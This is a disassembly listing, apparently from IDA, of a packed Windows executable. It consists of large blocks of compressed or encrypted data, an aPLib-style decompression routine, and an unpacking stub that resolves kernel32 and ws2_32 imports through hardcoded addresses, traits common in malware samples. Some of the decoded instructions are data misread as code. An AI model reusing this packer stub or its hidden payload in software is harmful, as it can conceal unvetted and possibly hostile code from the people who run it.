		dd 0C043F2FDh, 0EC9F3EF9h, 0B6188BB5h, 1C38183h, 661C49DFh
		dd 0C381F98Bh, 492C71A6h, 0EB81F98Bh, 3EF127E7h, 39D40868h
		dd 0CA816677h, 5359E9D9h, 0FB8B6656h, 8B008F5Ah, 7CE881C8h
		dd 0E8776C6Eh, 10h, 67268168h, 3B2BD14h, 5FFEB980h, 7B0A75ACh
		dd 6850Fh, 0DA810000h, 3FAA9AF3h, 78C08159h, 0E8776C6Eh
		dd 14h,	6BBAE5DCh, 478661C8h, 0E3129D74h, 3F5E99E0h, 5B6A550Ch
		dd 5AA4E580h, 0F01EE83h, 2C85h,	13E900h, 3C2F0000h, 284B1AC5h
		dd 0D427E641h, 40C3727Dh, 6C1FBE79h, 35E935h, 583B0000h
		dd 41796B1h, 70B322EDh,	9C0F6EE9h, 0DE9A5h, 46210000h
		dd 0D25D3407h, 1E59A0A3h, 0E915CCFFh, 0FFFFFF39h, 0F691B81Bh
		dd 82CD64F7h, 0CEC9D093h, 8B85FCEFh, 8E8CBh, 29B00000h
		dd 0E5DC4FAEh, 0C4806BBAh, 81665F74h, 810699E2h, 735C7h
		dd 0D18B6600h, 0BBh, 37B86600h,	1F348B2Dh, 0C6815A57h
		dd 2D2569ACh, 28D18166h, 75C68136h, 0E9062896h,	0Ch, 0C3727DD4h
		dd 1FBE7940h, 3BCA356Ch, 0E60AEE81h, 0D08B109Dh, 0B91F3489h
		dd 2F25FEE9h, 837AED80h, 7B904EBh, 81384570h, 0FFF938FBh
		dd 0B2850FFFh, 81FFFFFFh, 0D9F28BEFh, 0DE853h, 26810000h
		dd 0B2BD1467h, 0FEB98003h, 5E75AC5Fh, 62E98166h, 0B9C6812Ah
		dd 0E9000006h, 0Eh, 0E5DC4FAEh,	61C86BBAh, 9D744786h, 0D233E312h
		dd 34FFCA8Bh, 48C0F32h,	57000000h, 5B595F51h, 57871ABFh
		dd 38F38107h, 81271AE8h, 862011EBh, 76F3812Ch, 68710705h
		dd 251B0FC3h, 5359E5B5h, 0F16048Fh, 28Fh, 0F96B100h, 288h
		dd 83F98B00h, 860F01EAh, 18h, 0A9731568h, 0DE977h, 0F6910000h
		dd 82CD64F7h, 0CEC9D093h, 5885FCEFh, 804A4A4Ah,	0FA8194C9h
		dd 0FFFFFA18h, 1D850Fh,	39B80000h, 0E9121129h, 27h, 8AF52CDFh
		dd 567118FBh, 0E2ADC4D7h, 2EA93073h, 81655CCFh,	5A41C7F7h
		dd 0FF64E917h, 921DFFFFh, 0DE196063h, 0FD58CBFh, 0D85h
		dd 7E800h, 0B0F30000h, 0DC4FAE29h, 0CE858E5h, 74000000h
		dd 0E0E3129Dh, 0C3F5E99h, 5F5B6A55h, 81DEBF0Fh,	5CDC7h
		dd 2B5E5000h, 8BC58AD2h, 6652170Ch, 815BD88Bh, 531DFEE9h
		dd 5FE98166h, 8114FB59h, 0BA2FACF1h, 8E942h, 59A00000h
		dd 15CCFF1Eh, 0C891B2Ah, 8BC28B17h, 3EA83C3h, 10E9h, 0A601E800h
		dd 323D94E7h, 7E390083h, 8AF52CDFh, 0FA814AFBh,	0FFFFFAD8h
		dd 24850Fh, 7E80000h, 73000000h, 0CF2EA930h, 0E958655Ch
		dd 28h,	19606392h, 0D58CBFDEh, 5178DBEAh, 8D24B7B6h, 850F5342h
		dd 5, 0A8D68166h, 0FF79E9C5h, 0A766FFFFh, 43F2FD54h, 0E8h
		dd 895B5D00h, 895B5B5Dh, 89585F5Dh, 40D85h, 7D805800h
		dd 5975015Ah, 4258589h,	8D600000h, 33503345h, 30FF64C0h
		dd 8B208964h, 2E4E8C3h,	1CEB0000h, 824648Bh, 68F6764h
		dd 0C4830000h, 458D6104h, 55FF5063h, 2DEE85Fh, 9EB0000h
		dd 68F6764h, 0C4830000h, 1BEB24h, 461048h, 7C80B6A1h, 6E72656Bh
		dd 32336C65h, 6C6C642Eh, 29CE800h, 8DFC0000h, 8CB5h, 0C00BAD00h
		dd 0F88B1B74h, 0CB9h, 0EBA4F300h, 40100010h, 0BC4B2000h
		dd 0AA1119B2h, 5538280h, 29A5898Ch, 6A000004h, 10006840h
		dd 0B5FF0000h, 408h, 95FF006Ah,	3F0h, 1CC8589h,	9D8B0000h
		dd 400h, 40D9D03h, 53500000h, 104E8h, 68406A00h, 1000h
		dd 408B5FFh, 6A0000h, 3F095FFh,	85890000h, 431h, 1D08589h
		dd 67640000h, 890000A1h, 42D85h, 5B558B00h, 1D0858Bh, 2890000h
		dd 408858Bh, 42890000h,	9F858D04h, 8B000003h, 42895540h
		dd 0EC858B08h, 89000003h, 858B1042h, 3E8h, 8B144289h, 1CC95h
		dd 1F8BB00h, 7C8B0000h,	0FF0B0C1Ah, 4C8B1E74h, 0C90B101Ah
		dd 0BD031174h, 1D0h, 141A748Bh,	0F9C1F203h, 83A5F302h
		dd 0DAEB28C3h, 1CC858Bh, 8B500000h, 1D095h, 188B5200h
		dd 858BDA03h, 3E4h, 858B0389h, 3E8h, 8B044389h,	3EC85h
		dd 8438900h, 468B5E5Fh,	89C70304h, 1C785h, 5B558B00h, 1C7858Bh
		dd 42890000h, 0D9D8D0Ch, 53000004h, 6A006Ah, 8B57016Ah
		dd 0DF03085Eh, 80006853h, 6A0000h, 0F495FF56h, 68000003h
		dd 3FE000h, 3A0000C3h, 3D000000h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		cld
		mov	dl, 80h


loc_46168B:				; CODE XREF: .data:loc_46169Aj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_461691:				; CODE XREF: .data:004616EFj
					; .data:00461734j ...
		add	dl, dl
		jnz	short loc_46169A
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46169A:				; CODE XREF: .data:00461693j
		jnb	short loc_46168B
		add	dl, dl
		jnz	short loc_4616A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616A5:				; CODE XREF: .data:0046169Ej
		jnb	short loc_4616F1
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4616B2
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616B2:				; CODE XREF: .data:004616ABj
		jnb	loc_46178E
		add	dl, dl
		jnz	short loc_4616C1
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616C1:				; CODE XREF: .data:004616BAj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4616CC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616CC:				; CODE XREF: .data:004616C5j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4616D7
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616D7:				; CODE XREF: .data:004616D0j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4616E2
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616E2:				; CODE XREF: .data:004616DBj
		adc	eax, eax
		jz	short loc_4616EC
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4616EC:				; CODE XREF: .data:004616E4j
		mov	[edi], al
		inc	edi
		jmp	short loc_461691
; ---------------------------------------------------------------------------


loc_4616F1:				; CODE XREF: .data:loc_4616A5j
		mov	eax, 1


loc_4616F6:				; CODE XREF: .data:loc_46170Aj
		add	dl, dl
		jnz	short loc_4616FF
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4616FF:				; CODE XREF: .data:004616F8j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46170A
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46170A:				; CODE XREF: .data:00461703j
		jb	short loc_4616F6
		sub	eax, 2
		jnz	short loc_461739
		mov	ecx, 1


loc_461716:				; CODE XREF: .data:loc_46172Aj
		add	dl, dl
		jnz	short loc_46171F
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46171F:				; CODE XREF: .data:00461718j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46172A
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46172A:				; CODE XREF: .data:00461723j
		jb	short loc_461716
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_461691
; ---------------------------------------------------------------------------


loc_461739:				; CODE XREF: .data:0046170Fj
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_461747:				; CODE XREF: .data:loc_46175Bj
		add	dl, dl
		jnz	short loc_461750
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_461750:				; CODE XREF: .data:00461749j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46175B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46175B:				; CODE XREF: .data:00461754j
		jb	short loc_461747
		cmp	eax, 7D00h
		jnb	short loc_46177E
		cmp	eax, 500h
		jb	short loc_461779
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_461691
; ---------------------------------------------------------------------------


loc_461779:				; CODE XREF: .data:00461769j
		cmp	eax, 7Fh
		ja	short loc_461781


loc_46177E:				; CODE XREF: .data:00461762j
		add	ecx, 2


loc_461781:				; CODE XREF: .data:0046177Cj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_461691
; ---------------------------------------------------------------------------


loc_46178E:				; CODE XREF: .data:loc_4616B2j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4617AA
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_461691
; ---------------------------------------------------------------------------


loc_4617AA:				; CODE XREF: .data:00461796j
		pop	ebp
		sub	edi, [ebp+0Ch]
		mov	[ebp-4], edi
		popa
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		dw 261Ch
		dd 448B7C80h, 252424h, 5FFFF00h, 10000h, 100002Dh, 38816600h
		dd 0F4755A4Dh, 0F8858960h, 8B000003h, 3D88BD0h,	58033C40h
		dd 0D9D8978h, 8D000003h, 3CC9Dh, 0E4BD8D00h, 8B000003h
		dd 7CB58933h, 0E8000003h, 0Bh, 4C383ABh, 75003B83h, 60C361EAh
		dd 30D9D8Bh, 4B8B0000h,	8BCA0320h, 0E8F20331h, 2Fh, 0CD75CEBFh
		dd 74C73B49h, 4C18305h,	4B2BE9EBh, 0D1CA2B20h, 244B03E9h
		dd 0B70FCA03h, 2E1C109h, 31C4B03h, 3098BCAh, 244C89CAh
		dd 52C3611Ch, 3B248EBAh, 0C00AAC9Ch, 0D0321474h, 0EAD108B0h
		dd 0F2810673h, 0C1A7F39Ah, 0F275C8FEh, 5A92E7EBh, 2551A7C3h
		dd 493BF0B7h, 190257A7h, 0EE321390h, 0CD75CE74h, 49h, 80ADA000h
		dd 80B6A17Ch, 801D777Ch, 809A517Ch, 809AE47Ch, 8000007Ch
		dd 148007Ch, 61B1C00h, 158F200h, 3000000h, 0
		dd 2 dup(40h), 2 dup(0)
		dd 0D1000000h, 1, 0FFA40000h, 0FFE00012h, 12h, 1000003Dh
		dd 0A2000000h, 0D3C10001h, 0C0000000h, 1C000001h, 14D70000h
		dd 0E0000000h, 8000001h, 58930001h, 37h	dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 7C80ADA0h, 7C80B6A1h, 7C801D77h, 2 dup(0)
		dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h
		dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h
		dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h
		dd 3 dup(0)
		dd 61A10h, 619FCh, 3 dup(0)
		dd 61AB4h, 61AD9h, 3 dup(0)
		dd 61ABFh, 61AE1h, 3 dup(0)
		db 0CCh
		db 1Ah,	6, 0
; ---------------------------------------------------------------------------
		jmp	loc_4620BB
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 5F327377h, 642E3233h, 6F006C6Ch, 7561656Ch, 2E323374h
		dd 6C6C64h, 6E72656Bh, 32336C65h, 6C6C642Eh, 0AB2BF400h
		dd 71h,	126AEA00h, 77h,	812A0900h, 7Ch,	56000000h, 61697261h
		dd 6843746Eh, 65676E61h, 65707954h, 7845h, 69615200h, 78456573h
		dd 74706563h, 6E6F69h, 0
		dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h
		dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h
		dd 6592260h, 2801142Bh,	70122051h, 1A0A012Ah, 47F45001h
		dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h,	9150BD24h
		dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h
		dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h
		dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h
		dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h
		dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h,	8401E488h
		dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h,	3968726Ch
		dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h
		dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h,	0DEE1D3Ah
		dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h
		dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h
		dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch
		dd 8320720h, 3618391Ch,	100F7A14h, 80900C23h, 0BE5653C0h
		dd 0C774074Ch, 3E8312h,	44683A75h, 0CC066701h, 0DFE8036Ah
		dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h
		dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h
		dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h
		dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h,	0ED859602h
		dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h
		dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h
		dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh
		dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h
		dd 3D0A043h, 0C795300h,	14751612h, 0E8130006h, 27D4DDA7h
		dd 0A7F6096h, 4460100h,	4C50EB6Eh, 3B4E0003h, 0D75C215h
		dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h
		dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h
		dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h
		dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h
		dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h
		dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h,	9E2A26h
		dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h,	30D476B9h
		dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch
		dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h
		dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h,	68016A04h
		dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch
		dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh
		dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h
		dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh,	1C259332h
		dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh,	0E4491312h
		dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h
		dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h
		dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h
		dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh,	2C05C700h
		dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h,	0ED7E0460h
		dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h,	0AD2B0C15h
		dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h
		dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h
		dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh
		dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h
		dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h
		dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h
		dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h
		dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch
		dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h,	2E24249h
		dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h
		dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h
		dd 0E55D759h, 557E800h,	74772117h, 46FD0050h, 85764963h
		dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h
		dd 19CCCB21h, 390BFBAh,	5CCDA7A0h, 7423A500h, 0E83A060Ch
		dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh
		dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h
		dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h
		dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h,	8400B175h
		dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h
		dd 0E345947h, 7850F82h,	9FFF6A66h, 48EB704Bh, 81166B29h
		dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h,	38832146h
		dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah
		dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch
		dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h
; ---------------------------------------------------------------------------
		push	es
		jz	short loc_4620E6


loc_4620BB:				; CODE XREF: .data:00461A9Cj
		rol	dword ptr [eax], cl
		mov	ebp, [ecx]
		jmp	short loc_4620C6
; ---------------------------------------------------------------------------
		align 2
		dw 0B844h
		db 89h,	0
; ---------------------------------------------------------------------------


loc_4620C6:				; CODE XREF: .data:004620BFj
		dec	edi
		dec	ebp
		mov	ecx, 208F5CF1h
		test	[ebx], eax
		fcmovne	st, st(2)
		pop	ds
		mov	dh, 59h
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 64B4h
		dd 0B1892E39h, 0B2A5032Dh, 0F6B80811h
; ---------------------------------------------------------------------------
		adc	al, 49h


loc_4620E6:				; CODE XREF: .data:004620B9j
		add	dl, dh
		dec	eax
		cmp	al, 33h
		inc	eax
		add	ebp, ebx
		xchg	eax, esp
		add	[edx-6Bh], bh
		pop	es
		mov	ss, word ptr [edx-73h]
		pop	esp
		add	dword ptr [eax], 0EA9CEC28h
		push	7F196626h
		dec	ebx
		add	[edi+edi*8+32h], ah
		xor	ecx, [ecx+30DA22h]
; ---------------------------------------------------------------------------
		db 8Fh,	28h, 68h
		dd 3D800301h, 65700041h, 230A7E16h, 5D000713h, 6F8861EFh
		dd 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh, 3D832D88h
		dd 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh,	0F482C080h
		dd 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch, 847C62C8h
		dd 52805C6h, 0EA0014Ah,	8CF5005Ah, 6D68100Ah, 87299707h
		dd 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h,	53001BC4h
		dd 86C8E74Ch, 3CC840Fh,	21D2A4D5h, 0C7971A4Ah, 0E068815Eh
		dd 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h, 423C3Ah
		dd 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h,	117FDE4h
		dd 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h, 1F3B1A94h
		dd 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch,	83390980h
		dd 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh, 176D0038h
		dd 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h,	0EBF48100h
		dd 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh, 0AE158203h
		dd 752D709h, 938C9D66h,	4AB590EBh, 0C100ED80h, 0EE030772h
		dd 70FCF0Ch, 8112C216h,	7518F0FAh, 10009EE8h, 31185B9h
		dd 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch,	7C0010FAh
		dd 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch, 0F37C0400h
		dd 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h, 87B81C3Fh
		dd 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h, 11EB6020h
		dd 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h,	13010D84h
		dd 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh, 0E1339048h
		dd 9149200h, 31742506h,	47F2Ah,	0A154B0DAh, 0AE802B64h
		dd 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh, 8AB8FAC7h
		dd 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh,	2B64FE8h
		dd 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h, 20670AA9h
		dd 3E5A250Bh, 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h
		dd 4600FC32h, 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h
		dd 13B34503h, 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h
		dd 873D7FF3h, 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h
		dd 91925304h, 0C37AC466h, 25F80F47h, 8D00EFA8h,	1157E746h
		dd 822CF4h, 0B979EDD6h,	0D5C6301Eh, 0B5002B79h,	0AA6BE342h
		dd 705AF813h, 0C29A3A73h, 148D0A00h, 0E8D0BCC7h, 350B4600h
		dd 0F82CEF9Eh, 1B00060h, 489C5A59h, 30006BE9h, 7389DFA0h
		dd 2C0239BAh, 0D3C603h,	14095C1h, 990EFE81h, 0A137984Eh
		dd 359AD285h, 0FAC2F4h,	4D2E4C9Bh, 0A5F49009h, 4410BC00h
		dd 1D5C890Dh, 25B0013h,	3AEB1B87h, 431FE369h, 0C3001296h
		dd 0E6BF5A92h, 407F002Ch, 0D4B7C3Ch, 73C3921h, 8283090Ch
		dd 84EF0017h, 1CCD1D33h, 0AE2E4BB3h, 1FC20057h,	0EA7E1180h
		dd 8E099200h, 836252FDh, 0EB210307h, 1441A12Bh,	0B930C8C0h
		dd 84421500h, 7448C51h,	591913CAh, 0A8870EAFh, 78962640h
		dd 6B050969h, 8D41670Eh, 0C7A5FB80h, 0C2FC58F8h, 220D4A03h
		dd 8CE30835h, 468240FFh, 521D7C3Bh, 0D8400712h,	5FE82606h
		dd 297B0099h, 4470119h,	9D030320h, 7449F30Bh, 0C63FC824h
		dd 0E8170781h, 5033ABCFh, 117A842Dh, 0DD0024F6h, 485932C7h
		dd 5EDF6Dh, 3735F56Fh, 4D3E7D82h, 5D218300h, 9D10FE93h
		dd 0C96C0094h, 0F174D4CFh, 6B00E809h, 9833C606h, 8B3E36h
		dd 0D7396C4h, 22075CAh,	73A905Ch, 0BEC6490Ch, 8DCC5EF0h
		dd 2E527FE1h, 1C2FBAAh,	94B60CAh, 2E8FC882h, 8E90A23Bh
		dd 0A03D02F8h, 94167FEFh, 0C46E005Ch, 0AA808254h, 87B75D2h
		dd 0EAC55E03h, 98CDA984h, 0BF1620h, 0BD0B8291h,	0D4E19B80h
		dd 775C5375h, 0B184007Fh, 881F1728h, 4C7E006Ch,	19920B7Bh
		dd 7F1F31D7h, 0EBC38E43h, 90281F42h, 79F4BB74h,	16630026h
		dd 67D10DE4h, 12000E5Fh, 4E4149D8h, 3FF1B95h, 907889Ah
		dd 0F6D87AE9h, 1800EB3Bh, 0A29A448h, 927D83h, 0FD8498C7h
		dd 4538153Dh, 0C400B3FEh, 288C3501h, 7AD9B1D6h,	0F30A024Bh
		dd 4432CEEEh, 4C515160h, 3E66F51Dh, 0B0C0BC1Dh,	5658B61h
		dd 0D33C0074h, 92D60317h, 0EB004D32h, 41F211C1h, 5758Ch
		dd 73D69DAh, 15CAD33h, 4E0E6A00h, 645D4B7Eh, 559500D4h
		dd 172DB68Dh, 0A5000296h, 9908ABE8h, 0E8480AB1h, 0E92A02FCh
		dd 0C9F4D5FAh, 2DE07B62h, 26006920h, 17210231h,	24C3838Eh
		dd 53EEDCh, 2AD2FB28h, 8B00BB05h, 22F581E0h, 0F0B0Ch, 0CD64938Fh
		dd 34C98491h, 79F27D0Fh, 0C6142092h, 2A7C303h, 50014289h
		dd 0F7E075D0h, 0D48212Ah, 2C023FC7h, 0F8009D7Ch, 38CB4A9Eh
		dd 863D039Fh, 768F4420h, 844DB412h, 2E804C1Ch, 611F0D5Eh
		dd 6952005Dh, 0ABBC4AEFh, 0EB0390F2h, 0E8051D21h, 8E14A8CBh
		dd 3BC43DD0h, 7FE18801h, 70294A2Ah, 431654E6h, 41E030Dh
		dd 9298E4C0h, 57861Dh, 0D4B755D3h, 349A9732h, 411A0E00h
		dd 0FF429271h, 73D7B20h, 824B568Bh, 0A85D4026h,	88002449h
		dd 643CA351h, 7522CFAh,	851F8D28h, 0F0671016h, 6A58BDD8h
		dd 0E90400EDh, 999812A0h, 2246009Eh, 97A884F5h,	1E0051F1h
		dd 75F0C3F6h, 4843A40Fh, 69004144h, 98897970h, 4A1F6864h
		dd 80C125C3h, 53A92B5h,	7CED0D8h, 45C50154h, 0AAE9708Bh
		dd 4B00509Ch, 57675D08h, 0E012F7h, 3F32CC95h, 48C3140Ah
		dd 3BC22B1Fh, 0C91456EEh, 990C0389h, 0D89AA5A6h, 0E8E244h
		dd 3D3B24F8h, 2C754248h, 4C3F71E6h, 81808256h, 0C025D4BBh
		dd 57EA2h, 709985E6h, 0DCABA5A4h, 108B8000h, 7402C2F6h
		dd 611C3A4Eh, 7204FA80h, 400B88F4h, 8833700h, 3B29EA01h
		dd 0ADC7078Bh, 0F0B60578h, 0C5065DB4h, 0EC081626h, 51132400h
		dd 459F8Bh, 0D332988Eh,	25C688A2h, 3DA16900h, 0A521A636h
		dd 5E740022h, 75B0295Dh, 0C60BD582h, 0E6ED30h, 10BE1249h
		dd 70E8078Bh, 0D0D7F54Dh, 0F14CB8E1h, 324C500h,	3B01C8C7h
		dd 8C0F02FEh, 0D71C4083h, 0BDB69DC0h, 0F8D33F00h, 0C1387516h
		dd 52905E0h, 0C5675333h, 7DED0087h, 4C8D0F0Eh, 789814F0h
		dd 29C81F00h, 0E9F7216Fh, 82F65Ah, 3F6D833h, 0AA285E02h
		dd 16AD300h, 0A96BD49Eh, 1BD8E1FBh, 3DD008Bh, 415DDE69h
		dd 0E70089FEh, 0F5753E4Ah, 343525h, 0C7A9823Ch,	84AEEADAh
		dd 27674B00h, 7C23DC2Eh, 5453005Eh, 15DB68C2h, 0E00F758h
		dd 28AA18F2h, 6034214h,	0A819C735h, 2C16B050h, 0C1071CD2h
		dd 0B502025h, 4A89F0h, 0E9D70675h, 0CA91DD73h, 5295AA00h
		dd 4D24B1DFh, 0C2960078h, 0E4F57F85h, 3B140697h, 859A81h
		dd 14831F2Bh, 98E0DAh, 932CEBE5h, 3587299Eh, 0D1322400h
		dd 0C3404A0Eh, 485D07C7h, 203A8FD3h, 93E25434h,	0C40029F6h
		dd 2356F72Eh, 0C2421h, 0ABAFD81Ch, 2B7A04A0h, 74F805FAh
		dd 77020900h, 641363E9h, 7EBFA4Ah, 5E5AA719h, 741460B8h
		dd 0FC00F25Dh, 7815D9B9h, 1731C422h, 4E6F25h, 0AB10837Eh
		dd 500C012h, 0EBFC5D89h, 76C364Dh, 330F7F19h, 4881D0F8h
		dd 0C2009FEAh, 0F40662CEh, 7DF04Fh, 84973802h, 1AA811F8h
		dd 9100CBF0h, 5C164BE8h, 0FC0747EBh, 7D890009h,	3821939Ch
		dd 0B8747C25h, 8140BC00h, 1815FF0Ah, 0D7650460h, 80011489h
		dd 54BF84FBh, 52DCB31Fh, 911C21C0h, 90022375h, 850800B5h
		dd 943274C9h, 1800037Ch, 22C88950h, 672042h, 0DA197559h
		dd 0F9D8E924h
		dd 3A50577Eh, 3201528Fh, 0D0061065h, 45DCA6D7h,	983D00E7h
		dd 0AF0E026h, 0AA00040Dh, 5A03AFB0h, 0D105FFh, 0ED808A48h
